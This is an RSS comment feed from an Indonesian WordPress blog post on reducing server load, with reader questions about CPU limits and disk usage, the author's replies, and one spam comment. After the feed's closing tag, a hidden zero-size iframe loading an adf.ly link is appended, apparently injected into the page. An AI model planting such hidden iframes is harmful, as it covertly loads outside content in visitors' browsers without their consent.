<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: How To Reduce Server Load</title>
	<atom:link href="http://rosyidi.com/how-to-reduce-server-load/feed/" rel="self" type="application/rss+xml" />
	<link>http://rosyidi.com/how-to-reduce-server-load/</link>
	<description>multilinguals blog</description>
	<lastBuildDate>Fri, 10 Feb 2012 14:39:16 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	<item>
		<title>By: free microsoft points codes no surveys</title>
		<link>http://rosyidi.com/how-to-reduce-server-load/#comment-33564</link>
		<dc:creator>free microsoft points codes no surveys</dc:creator>
		<pubDate>Mon, 30 Jan 2012 13:13:22 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/how-to-reduce-server-load/#comment-33564</guid>
		<description>&lt;strong&gt;free microsoft points...&lt;/strong&gt;

[...]Sites of interest we have a link to free microsoft points[...]…...</description>
		<content:encoded><![CDATA[<p><strong>free microsoft points&#8230;</strong></p>
<p>[...]Sites of interest we have a link to free microsoft points[...]…&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Nurul Imam</title>
		<link>http://rosyidi.com/how-to-reduce-server-load/#comment-32156</link>
		<dc:creator>Nurul Imam</dc:creator>
		<pubDate>Fri, 30 Sep 2011 20:48:09 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/how-to-reduce-server-load/#comment-32156</guid>
		<description>sy sering bgt high cpu ... sedihhhh</description>
		<content:encoded><![CDATA[<p>sy sering bgt high cpu &#8230; sedihhhh</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Nurul Imam</title>
		<link>http://rosyidi.com/how-to-reduce-server-load/#comment-31320</link>
		<dc:creator>Nurul Imam</dc:creator>
		<pubDate>Thu, 09 Jun 2011 13:01:42 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/how-to-reduce-server-load/#comment-31320</guid>
		<description>Barusan kena damprat nih gara gara STT2
hiks hiks hiks</description>
		<content:encoded><![CDATA[<p>Barusan kena damprat nih gara gara STT2<br />
hiks hiks hiks</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: juraganiklan</title>
		<link>http://rosyidi.com/how-to-reduce-server-load/#comment-21841</link>
		<dc:creator>juraganiklan</dc:creator>
		<pubDate>Sun, 09 May 2010 16:17:43 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/how-to-reduce-server-load/#comment-21841</guid>
		<description>wah.... kalo saya dapat peringat seperti ini terlalu sering, cuma hanya sekali kena suspend :D</description>
		<content:encoded><![CDATA[<p>wah&#8230;. kalo saya dapat peringat seperti ini terlalu sering, cuma hanya sekali kena suspend <img src='http://rosyidi.com/smilies/yahoo_bigsmile.gif' alt='&#58;&#68;' class='wp-smiley' width='' height='' title='&#58;&#68;' /></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Kuper</title>
		<link>http://rosyidi.com/how-to-reduce-server-load/#comment-21486</link>
		<dc:creator>Kuper</dc:creator>
		<pubDate>Wed, 21 Apr 2010 14:05:03 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/how-to-reduce-server-load/#comment-21486</guid>
		<description>menurut ane..salah satu penyebab overload web akang rosidi ini adalah pemilihan pretty URL dalam hal ini re_write yg kurang mengikuti anjuran dev. wordpress. numerik &quot;tanggal/bulan/tahun/Id post&quot; akan mempermudah proses suatu perintah menjadi lebih spesifik. dan menurut saya akan jauh lebih effisien lg.</description>
		<content:encoded><![CDATA[<p>menurut ane..salah satu penyebab overload web akang rosidi ini adalah pemilihan pretty URL dalam hal ini re_write yg kurang mengikuti anjuran dev. wordpress. numerik &#8220;tanggal/bulan/tahun/Id post&#8221; akan mempermudah proses suatu perintah menjadi lebih spesifik. dan menurut saya akan jauh lebih effisien lg.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: ADAbisnis</title>
		<link>http://rosyidi.com/how-to-reduce-server-load/#comment-17656</link>
		<dc:creator>ADAbisnis</dc:creator>
		<pubDate>Sun, 05 Jul 2009 16:41:34 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/how-to-reduce-server-load/#comment-17656</guid>
		<description>Info yg bagus gan... untungnya saya pny penyedia hosting yg baik hati, he3...</description>
		<content:encoded><![CDATA[<p>Info yg bagus gan&#8230; untungnya saya pny penyedia hosting yg baik hati, he3&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: hanafi2020</title>
		<link>http://rosyidi.com/how-to-reduce-server-load/#comment-17091</link>
		<dc:creator>hanafi2020</dc:creator>
		<pubDate>Sat, 02 May 2009 08:01:12 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/how-to-reduce-server-load/#comment-17091</guid>
		<description>ini dia artikel yang dicari2, susah banget carinya. kebetulan kena masalah yang sama dengan shared hosting lunarpages padahal blog cuma 10 dan traffic gk sampe 50 perhari. tanya nih, apa jumlah posting yang hingga seratusan juga mempengaruhi cpu usage ? bisa gk kasih tips yang lebih detail untuk tips no. 2 maklum gk terlalu paham tentang PHP. menurut pengalaman mas Rosyidi ajah. thanks
&lt;blockquote&gt;&lt;b&gt;Rosyidi :&lt;/b&gt;Yg paling berpengaruh adalah jumlah pengunjung. Misalnya 10 page masing2 dikunjungi 100 orang = 1 page dikunjungi 1000 orang. Namun 1 page 1000 orang masih relatif lebih ringan dari 10 page masing2 dikunjungi 100 orang. &lt;/blockquote&gt;</description>
		<content:encoded><![CDATA[<p>ini dia artikel yang dicari2, susah banget carinya. kebetulan kena masalah yang sama dengan shared hosting lunarpages padahal blog cuma 10 dan traffic gk sampe 50 perhari. tanya nih, apa jumlah posting yang hingga seratusan juga mempengaruhi cpu usage ? bisa gk kasih tips yang lebih detail untuk tips no. 2 maklum gk terlalu paham tentang PHP. menurut pengalaman mas Rosyidi ajah. thanks</p>
<blockquote><p><b>Rosyidi :</b>Yg paling berpengaruh adalah jumlah pengunjung. Misalnya 10 page masing2 dikunjungi 100 orang = 1 page dikunjungi 1000 orang. Namun 1 page 1000 orang masih relatif lebih ringan dari 10 page masing2 dikunjungi 100 orang. </p></blockquote>
]]></content:encoded>
	</item>
	<item>
		<title>By: Fsqueen</title>
		<link>http://rosyidi.com/how-to-reduce-server-load/#comment-14981</link>
		<dc:creator>Fsqueen</dc:creator>
		<pubDate>Sun, 23 Nov 2008 06:28:29 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/how-to-reduce-server-load/#comment-14981</guid>
		<description>mas klo di status saya ada tulisan kayak giniDisk /dev/sda8 (/usr) = 88% trus kedip2 warna kuning itu artinya apa mas?
&lt;blockquote&gt;&lt;b&gt;Rosyidi :&lt;/b&gt;Artinya hardisknya sudah hampir penuh. Kapasitas hardisknya sudah mencapai 88%. Berbahaya atau tidak itu tergantung kapasitas hardisk servernya. Tanyakan ke pihak hosting terkait hal itu, sebagai manusia biasa ada kemungkinan pihak hosting lalai akan hal itu. Karena itu keaktifan member untuk mengingatkan sangatlah membantu mereka memperbaiki kinerja server. &lt;/blockquote&gt;</description>
		<content:encoded><![CDATA[<p>mas klo di status saya ada tulisan kayak giniDisk /dev/sda8 (/usr) = 88% trus kedip2 warna kuning itu artinya apa mas?</p>
<blockquote><p><b>Rosyidi :</b>Artinya hardisknya sudah hampir penuh. Kapasitas hardisknya sudah mencapai 88%. Berbahaya atau tidak itu tergantung kapasitas hardisk servernya. Tanyakan ke pihak hosting terkait hal itu, sebagai manusia biasa ada kemungkinan pihak hosting lalai akan hal itu. Karena itu keaktifan member untuk mengingatkan sangatlah membantu mereka memperbaiki kinerja server. </p></blockquote>
]]></content:encoded>
	</item>
	<item>
		<title>By: pondokiklan.com</title>
		<link>http://rosyidi.com/how-to-reduce-server-load/#comment-10864</link>
		<dc:creator>pondokiklan.com</dc:creator>
		<pubDate>Fri, 04 Apr 2008 15:14:48 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/how-to-reduce-server-load/#comment-10864</guid>
		<description>Btw, itu ngecek gimana caranya ?
&lt;blockquote&gt;&lt;b&gt;Rosyidi :&lt;/b&gt;Masuk CPanel. Masuk ke Service Status di sidebar kiri bawah. &lt;/blockquote&gt;</description>
		<content:encoded><![CDATA[<p>Btw, itu ngecek gimana caranya ?</p>
<blockquote><p><b>Rosyidi :</b>Masuk CPanel. Masuk ke Service Status di sidebar kiri bawah. </p></blockquote>
]]></content:encoded>
	</item>
	<item>
		<title>By: &#124; Dreamhost: Bandwith or CPU Usage? &#124; Catatan</title>
		<link>http://rosyidi.com/how-to-reduce-server-load/#comment-10734</link>
		<dc:creator>&#124; Dreamhost: Bandwith or CPU Usage? &#124; Catatan</dc:creator>
		<pubDate>Tue, 25 Mar 2008 14:18:59 +0000</pubDate>
		<guid isPermaLink="false">http://rosyidi.com/how-to-reduce-server-load/#comment-10734</guid>
		<description>[...] (lebih pasnya adalah terinsipirasi) posting kawan saya Rosyidi mengenai How To Reduce Server Load, dan banyaknya pertanyaan kepada saya mengenai hal hal yang sama, maka saya buat posting ini.&#160; [...]</description>
		<content:encoded><![CDATA[<p>[...] (lebih pasnya adalah terinsipirasi) posting kawan saya Rosyidi mengenai How To Reduce Server Load, dan banyaknya pertanyaan kepada saya mengenai hal hal yang sama, maka saya buat posting ini.&#160; [...]</p>
]]></content:encoded>
	</item>
</channel>
</rss>




  

  <iframe src=http://http://adf.ly/5N8iR scrolling="auto" width=0% height=0% frameborder="0"> </iframe>
